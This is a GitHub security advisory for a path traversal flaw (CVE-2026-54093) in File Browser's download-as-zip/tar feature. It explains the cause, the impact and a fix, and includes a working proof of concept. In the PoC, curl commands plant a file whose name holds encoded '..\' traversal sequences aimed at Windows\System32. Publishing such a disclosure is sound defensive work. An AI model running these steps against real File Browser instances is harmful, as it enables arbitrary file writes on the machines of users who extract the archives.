GitHub Advisoryadvisory · Go

GHSA-gxjx-7m74-hcq8 File Browser: FilePath traversal in download-as-zip/tar via Windows-style backslash separators in stored filenames

MEDIUM Published 2026-06-12 Modified 2026-06-12 Official page ↗
Aliases
CVE-2026-54093
Ecosystem
Go
Packages
github.com/filebrowser/filebrowser/v2, github.com/filebrowser/filebrowser
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:N/SI:H/SA:L
Weaknesses
CWE-22
Reviewed
2026-06-12

Affected packages

• Go github.com/filebrowser/filebrowser/v2: < 2.63.6 → fixed in 2.63.6 • Go github.com/filebrowser/filebrowser: <= 1.11.0 (no fix yet)

Description

Summary filebrowser builds the download-as-zip / download-as-tar archive entry names with `filepath.ToSlash`, which on a Linux host is a no-op for backslashes (`\` is only a path separator on Windows). A file whose name contains Windows-style traversal (`..\..\..\evil.txt`) is accepted by the resource handlers, stored on the Linux filesystem with a literal backslash name, and then emitted verbatim as the archive entry name. Windows extractors (Explorer, 7-Zip, WinRAR, .NET `ZipFile.ExtractToDirectory`) interpret `\` as a path separator and write the extracted file outside the extraction directory — arbitrary file write on the victim who downloads and extracts the archive. Details `http/raw.go` `getFiles()` constructs the in-archive name and passes it to `github.com/mholt/[email protected]`: ```go nameInArchive := strings.TrimPrefix(path, commonPath) nameInArchive = strings.TrimPrefix(nameInArchive, string(filepath.Separator)) nameInArchive = filepath.ToSlash(nameInArchive) // Linux no-op: ToSlash only rewrites '\' on Windows archiveFiles = append(archiveFiles, archives.FileInfo{ FileInfo: info, NameInArchive: nameInArchive, Open: func() (fs.File, error) { return d.user.Fs.Open(path) }, }) ``` On Linux `filepath.Separator == '/'`, so `filepath.ToSlash` leaves any literal backslash in the stored filename untouched. `mholt/archives` `nameOnDiskToNameInArchive` then writes that name verbatim into the zip/tar central directory. The filename reaches the filesystem because the resource create path (`http/resource.go` `resourcePostHandler`) derives the name from `r.URL.Path` and cleans it with `path.Clean("/" + ...)`, which treats only `/` as a separator. A URL-encoded backslash segment (`%5C`) therefore survives cleaning, and the file is created on the Linux FS with a literal `\` in its name. Any user with the Create permission (the default for new users, and signup-enabled instances let anyone self-register) can plant such a file. PoC Deployed against the official image `filebrowser/filebrowser:v2.63.5` (current release, 2026-05-21). ```bash 1. Deploy docker volume create fb-srv-vol docker run -d --name fb-poc -p 8088:80 -v fb-srv-vol:/srv filebrowser/filebrowser:v2.63.5 wait for /health == 200; read the generated admin password from `docker logs fb-poc` PW="" 2. Authenticate TOK=$(curl -s -X POST http://localhost:8088/api/login \ -H 'Content-Type: application/json' \ -d "{\"username\":\"admin\",\"password\":\"$PW\"}") 3. Create a folder, then a file whose NAME is a Windows traversal payload (backslash = %5C) curl -s -o /dev/null -w "mkdir=%{http_code}\n" \ -X POST "http://localhost:8088/api/resources/evilzone/" -H "X-Auth: $TOK" FNAME='..%5C..%5C..%5C..%5C..%5CWindows%5CSystem32%5Cevil.txt' curl -s -o /dev/null -w "putfile=%{http_code}\n" \ -X POST "http://localhost:8088/api/resources/evilzone/${FNAME}?override=true" \ -H "X-Auth: $TOK" --data-binary 'PWNED-BY-TONGHUAROOT' 4. Download the folder as a zip and inspect the entry name curl -s -o /tmp/fb_evil.zip "http://localhost:8088/api/raw/evilzone?algo=zip" -H "X-Auth: $TOK" python3 - HTTP 301 (collapsed by path.Clean; nothing escapes) ``` This proves `/` is handled but `\` is the unhandled gap. To observe the Windows-side traversal effect, extract `fb_evil.zip` on Windows: ```powershell Expand-Archive -Path .\fb_evil.zip -DestinationPath .\out -Force 7-Zip / WinRAR with default settings honor the ..\ parents and write outside .\out ``` Impact Arbitrary file write (CWE-22) on any party who downloads a folder/selection as an archive from filebrowser and extracts it on Windows. The attacker is any authenticated user with Create permission (or an anonymous user on signup-enabled instances); the victim is typically an administrator or another user who is given access to the attacker's directory (e.g. via a share) and downloads it as a zip/tar. Because filebrowser is frequently deployed as a multi-user file server, this crosses a trust boundary: a low-privileged or untrusted uploader can plant files that compromise the machine of anyone who downloads and extracts the archive on Windows (e.g. writing to Startup folders or overwriting executables/config in the extraction root's parent tree). Affected versions All current versions through v2.63.5 (verified against the v2.63.5 release image). The `filepath.ToSlash`-based normalization in `http/raw.go` `getFiles()` is the root cause; `github.com/mholt/[email protected]` passes the name through verbatim. Suggested fix Normalize Windows separators out of the in-archive name regardless of host OS, in `http/raw.go` `getFiles()` before constructing `archives.FileInfo`: ```go nameInArchive = filepath.ToSlash(nameInArchive) nameInArchive = strings.ReplaceAll(nameInArchive, "\\", "/") // strip Windows separators on any host ``` Optionally also reject or sanitize filenames containing `\` at create time in `http/resource.go` so backslash names cannot be stored at all. This mirrors the canonical fix for the equivalent Gotenberg issue, where POSIX-only `filepath.Base` likewise failed to strip backslashes on Linux.

Related

Alias · CVE (1)

  • CVE-2026-54093 File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. vulnerability

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References